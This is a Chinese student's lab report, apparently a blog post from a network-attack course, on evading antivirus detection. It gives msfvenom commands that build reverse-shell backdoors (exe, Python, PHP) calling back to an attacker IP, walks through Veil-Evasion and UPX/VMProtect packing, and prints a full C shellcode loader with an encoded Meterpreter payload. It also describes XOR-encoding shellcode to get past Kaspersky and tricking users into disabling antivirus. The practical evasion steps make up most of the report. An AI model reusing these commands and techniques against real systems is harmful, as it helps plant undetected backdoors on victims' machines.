2019-2020-2 20174317祝源《网络对抗技术》Exp3 免杀原理与实践

1. 实验目的

使用各种技术对恶意软件做处理,让它不被杀毒软件所检测出来。

2. 基础知识

2.1. 恶意软件检测机制

2.1.1. 基于特征码的检测

简单来说一段特征码就是一段或多段数据如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。,这种检测方式的特是:精确检测,但滞后,需要先得到特征码才能检测出恶意软件。

2.1.2. 启发式恶意软件检测

启发式Heuristic,简单来说,就是根据些片面特征去推断,比如软件的行为、软件的签名等。通常是在没有精确判定依据时使用启发式检测。这种检测方式的优点是:可以检测0-day恶意软件,具有一定通用性,缺点是:实时监控系统行为,开销稍多;没有基于特征码的精确度高,可能错判

2.1.3. 基于行为的恶意软件检测

从理论上讲,基于行为的检测相当于是启发式的一种,更侧重于监控软件的行为。有一些行为是恶意代码共有的,而且比较特殊,在正常代码中比较罕见。当程序运行时,监视其行为,如果发现了病毒行为,立即报警。这种检测方法可预报未知的多数病毒,但不能发现是哪种病毒。

2.2. 免杀技术(Evading AV)综述

2.2.1. 改变特征码

如果只有EXE,可以加压缩壳或加密壳;如果有shellcode(像Meterpreter),可以使用encode进行编码,或基于payload重新编译生成可执行文件;如果有源代码,可以用其他语言进行重写再编译

2.2.2. 改变行为

通讯方式上,可尽量使用反弹式连接,或使用隧道技术,并加密通讯数据;在操作模式上,基于内存操作,或减少对系统的修改,或加入混淆作用的正常功能代码。

2.2.3. 非常规方式

  • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
  • 使用社工类攻击,诱骗目标关闭AV软件。
  • 纯手工打造一个恶意软件。

2.3. 留后门的思路

写一个有漏洞的软件,开一个服务端口(这个端口就是后门)。这个软件本身没问题。然后如果这个端口被攻击,就可以获得系统控制权。

3. 免杀工具使用

攻击机是kali,IP是192.168.0.103

3.1. 使用msf不同编码器

使用msfvenom生成后门程序时,可以使用-e参数指定要使用的编码器,-p可以指定payload,那具体有哪些编码器和payload可以使用呢?

payload存放在/usr/share/metasploit-framework/modules/payloads/{singles,stages,stagers}/<platform>中,MSF的编码器存放在目录/usr/share/metasploit-framework/modules/encoders下。可以发现MSF的编码器和payload都是按语言或平台类型来存放的。更详细的讲解请看这篇博文

这次payload使用bind_tcp_uuid.rb,使用x64xor.rb编码器。

使用命令msfvenom -p windows/x64/pingback_reverse_tcp -e x86/xor_dynamic -b '\x00\x0a' LHOST=192.168.0.103 LPORT=4317 -f exe > zy20174317_backdoor.exe生成后门程序。

msf生成后门程序

使用virustotal检测结果如下:

使用不同的payload可以稍微减少检出率。

3.2. msfvenom生成如jar之类的其他文件

生成python

msfvenom -p windows/x64/pingback_reverse_tcp -e x86/xor_dynamic -b '\x00\x0a' LHOST=192.168.0.103 LPORT=4317 -f py > zy20174317_backdoor.py

居然0报毒

PY_pingback扫描结果

msfvenom -p python/meterpreter_reverse_tcp -e x86/xor_dynamic -b '\x00\x0a' LHOST=192.168.0.103 LPORT=4317 -f py > zy20174317_backdoor.py

也是0报毒

PY扫描结果

生成php

msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.0.103 LPORT=4317 -f raw > zy20174317_backdoor.php

能够检查出来是病毒,但是多数杀软还是认为没有毒的。

PHP扫描结果

3.3. veil

3.3.1. veil安装

我使用以下方法成功安装,大概花了几十分钟吧:
先使用以下命令下载veil:

sudo apt-get update
sudo apt-get install -y veil-evasion

在update时出现了问题,出现这种提示“文件尺寸不符。您使用的镜像正在同步中?”。将http的镜像源改为https后问题解决。

下载完后,在终端中输入veil进行安装。

安装完AutoIt3后会报错,这时将/var/lib/veil/wine/drive_c/Program Files (x86)下的AutoIt3文件夹复制到/var/lib/veil/wine/drive_c/Program Files下,然后再次在终端中输入veil进行安装(之前已经安装的软件不会被重复安装)。

3.3.2. veil使用

  • use 1 使用免杀服务

  • list 列出能够使用的模块

  • use 39 使用ruby/meterpreter/rev_tcp.py

  • 使用set LHOST 192.168.0.103set LPORT 4317设置反向连接的ip的端口。

  • 输入generate生成文件,生成的可执行文件位于/var/lib/veil/output/compiled/下,msf的脚本位于/var/lib/veil/output/handlers/下,源代码在/var/lib/veil/output/source/文件夹里。

    ruby_生成

  • 检测结果如下:

    ruby_扫描结果

3.4. 加壳工具

3.4.1. UPX

使用UPX给上一步veil生成的恶意软件加压缩壳:upx 20174317_ruby.exe -o 20174317_ruby_upx.exe

检测,比未加壳时稍微好了一点:

ruby_upx扫描结果

3.4.2. VMProtect

下载后,使用VMProtect加壳,加壳之后文件大了不少:

ruby_VM加壳

检测结果如下:

ruby_vm扫描结果

3.5. 使用C+shellcode

3.5.1. 使用veil生成shellcode

1.进入veil后输入use 2使用Ordnance

2.use rev_tcp 使用反向tcp连接

3.使用set LHOSTset LPORT设置IP端口号,使用set Encoder xor使用xor编码器(用list encoders命令看了,好像就这一个编码器),输入generate生成shellcode

veil_shellcode设置

也可使用msfvenom生成:msfvenom -p windows/meterpreter/reverse_tcp -e x86/xor_dynamic -b '\x00\x0a' lhost=192.168.0.103 lport=4317 -f c

veil生成shellcode

3.5.2. 编写调用shellcode的C语言程序

网上找的代码如下:

#include <windows.h>

using namespace std;
int main(int argc, char **argv){
	unsigned char buf[] = 
	"\xeb\x23\x5b\x89\xdf\xb0\xe4\xfc\xae\x75\xfd\x89\xf9\x89\xde"
	"\x8a\x06\x30\x07\x47\x66\x81\x3f\xba\x89\x74\x08\x46\x80\x3e"
	"\xe4\x75\xee\xeb\xea\xff\xe1\xe8\xd8\xff\xff\xff\x13\xe4\xef"
	"\xfb\x91\x13\x13\x13\x73\x9a\xf6\x22\xd3\x77\x98\x43\x23\x98"
	"\x41\x1f\x98\x41\x07\x98\x61\x3b\x1c\xa4\x59\x35\x22\xec\xbf"
	"\x2f\x72\x6f\x11\x3f\x33\xd2\xdc\x1e\x12\xd4\xf1\xe1\x41\x44"
	"\x98\x41\x03\x98\x59\x2f\x98\x5f\x02\x6b\xf0\x5b\x12\xc2\x42"
	"\x98\x4a\x33\x12\xc0\x98\x5a\x0b\xf0\x29\x5a\x98\x27\x98\x12"
	"\xc5\x22\xec\xbf\xd2\xdc\x1e\x12\xd4\x2b\xf3\x66\xe5\x10\x6e"
	"\xeb\x28\x6e\x37\x66\xf7\x4b\x98\x4b\x37\x12\xc0\x75\x98\x1f"
	"\x58\x98\x4b\x0f\x12\xc0\x98\x17\x98\x12\xc3\x9a\x57\x37\x37"
	"\x48\x48\x72\x4a\x49\x42\xec\xf3\x4c\x4c\x49\x98\x01\xf8\x9e"
	"\x4e\x7b\x20\x21\x13\x13\x7b\x64\x60\x21\x4c\x47\x7b\x5f\x64"
	"\x35\x14\x9a\xfb\xec\xc3\xab\x83\x12\x13\x13\x3a\xd7\x47\x43"
	"\x7b\x3a\x93\x78\x13\xec\xc6\x79\x19\x7b\xd3\xbb\x13\x74\x7b"
	"\x11\x13\x03\xce\x9a\xf5\x43\x43\x43\x43\x53\x43\x53\x43\x7b"
	"\xf9\x1c\xcc\xf3\xec\xc6\x84\x79\x03\x45\x44\x7b\x8a\xb6\x67"
	"\x72\xec\xc6\x96\xd3\x67\x19\xec\x5d\x1b\x66\xff\xfb\x74\x13"
	"\x13\x13\x79\x13\x79\x17\x45\x44\x7b\x11\xca\xdb\x4c\xec\xc6"
	"\x90\xeb\x13\x6d\x25\x98\x25\x79\x53\x7b\x13\x03\x13\x13\x45"
	"\x79\x13\x7b\x4b\xb7\x40\xf6\xec\xc6\x80\x40\x79\x13\x45\x40"
	"\x44\x7b\x11\xca\xdb\x4c\xec\xc6\x90\xeb\x13\x6e\x3b\x4b\x7b"
	"\x13\x53\x13\x13\x79\x13\x43\x7b\x18\x3c\x1c\x23\xec\xc6\x44"
	"\x7b\x66\x7d\x5e\x72\xec\xc6\x4d\x4d\xec\x1f\x37\x1c\x96\x63"
	"\xec\xec\xec\xfa\x88\xec\xec\xec\x12\xd0\x3a\xd5\x66\xd2\xd0"
	"\xa8\xe3\xa6\xb1\x45\x79\x13\x40\xec\xc6\xba\x89";
    void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, buf, sizeof buf);
    ((void(*)())exec)();
    return 0;
}

c+shellcoed检测结果

检测,居然只有两个杀软查出来,免杀率很高啊!但是神奇的是这个程序运行之后kali的msf里完全没有反应,就是说这段代码没用(这大概就是为什么通过率这么高的原因吧)。看别人好像可以,应该是我的编译器的问题

3.6. 使用其他课堂未介绍方法

使用veil的Evasion的lua/shellcode_inject/flat.py,什么都不需要设置,直接生成,会要求选择生成或提供shellcode(Generate or supply custom shellcode),有以下5个选项:

1.Ordnance(default),使用veil的Ordnance生成shellcode。
2.MSFVenom,使用MSFVenom生成shellcode。
3.Custom shellcode string,让我自己提供shellcode的意思。
4.File with shellcode (\x41\x42),使用含有shellcode的文本文件。
5.Binary File with shellcode,使用含有shellcode的二进制文件。

xuanzhe

这里选择1,使用veil生成shellcode。输入use reverse_tcp,和之前一样使用set设置LPORT和LHOST,输入generate生成。生成后会自动跳转回Evasion继续生成lua脚本文件。生成的脚本位于/var/lib/veil/output/source文件夹下。

生成后检测如图,免杀率挺高的。

lua检测结果

4. 免杀与回连成功

4.1. 将shellcode异或后存储并在运行时恢复

基于C+shellcode,不同于直接执行shellcode而是先将shellcode与自己选择的任意字符进行异或操作,将异或后的字符串保存到程序中。程序在运行时会先恢复shellcode再运行。使用VS2017创建Windows应用程序进行编译,参考这篇博客,编译完成后使用upx加壳。使用我自己的主机,经测试能回连并和杀软共存。源代码在此

不能使用通过VirtualAlloc分配内存再执行的方法,而是使用了在编译时设置数据段可执行,然后再将shellcode数组的地址转为函数指针来执行shellcode的方式。

杀毒软件名称:卡巴斯基安全软件,版本为:20.0.14.1085(i),更新到了最新版的数据库

virustotal检测结果如下:

不过这也只是做到了和杀软共存,但在运行的时候还是被拦截下来了,提示检测到恶意行为,需要我点同意才能继续。

5. 问题回答

5.1. 基础问题回答

5.1.1. 杀软是如何检测出恶意代码的?

可以使用特征码进行检测,如果通过特征码检测不出来的话可以检测软件的签名、编译器之类的。最后就是可以检测它有没有异常行为。

5.1.2. 免杀是做什么?

让杀毒软件检测不出来一个恶意软件是恶意软件,让恶意软件能够顺利运行,在被攻击者的主机上留下后门或搞破坏什么的。

5.1.3. 免杀的基本方法有哪些?

一是更改特征码,比如将shellcode编码、将软件加壳、用别的语言重写。二是使用更隐蔽的行为,比如使用反向连接、加入正常代码。三是使用一些其他的方法,比如社工类攻击方法,我们下载的破解版软件,经常能在压缩包里看见一个“本软件已破解,可能会被杀毒软件报毒,请关闭杀毒软件后再运行”。

5.2. 开启杀软能绝对防止电脑中恶意代码吗?

不能,杀毒软件也不是万能的,恶意软件会采用各种手段来免杀,总有一些是杀软暂时不能查出来的。

6. 实践总结与体会

经过这次实验,更加理解了信息安全的重要性,网络空间上随时都有攻击在发生,更有一些是以窃取国家MM为目标的,如果不做好防护的话,后果是很严重的。做这次实验前以为装了杀软电脑就很安全了,没想到还有这么多绕过杀毒软件的方法。但装杀毒软件也是很重要的,杀毒软件也要及时更新。有个杀软总比没有好。

posted @ 2020-04-02 00:19  小小的嘤嘤怪  阅读(400)  评论(0编辑  收藏  举报
TOP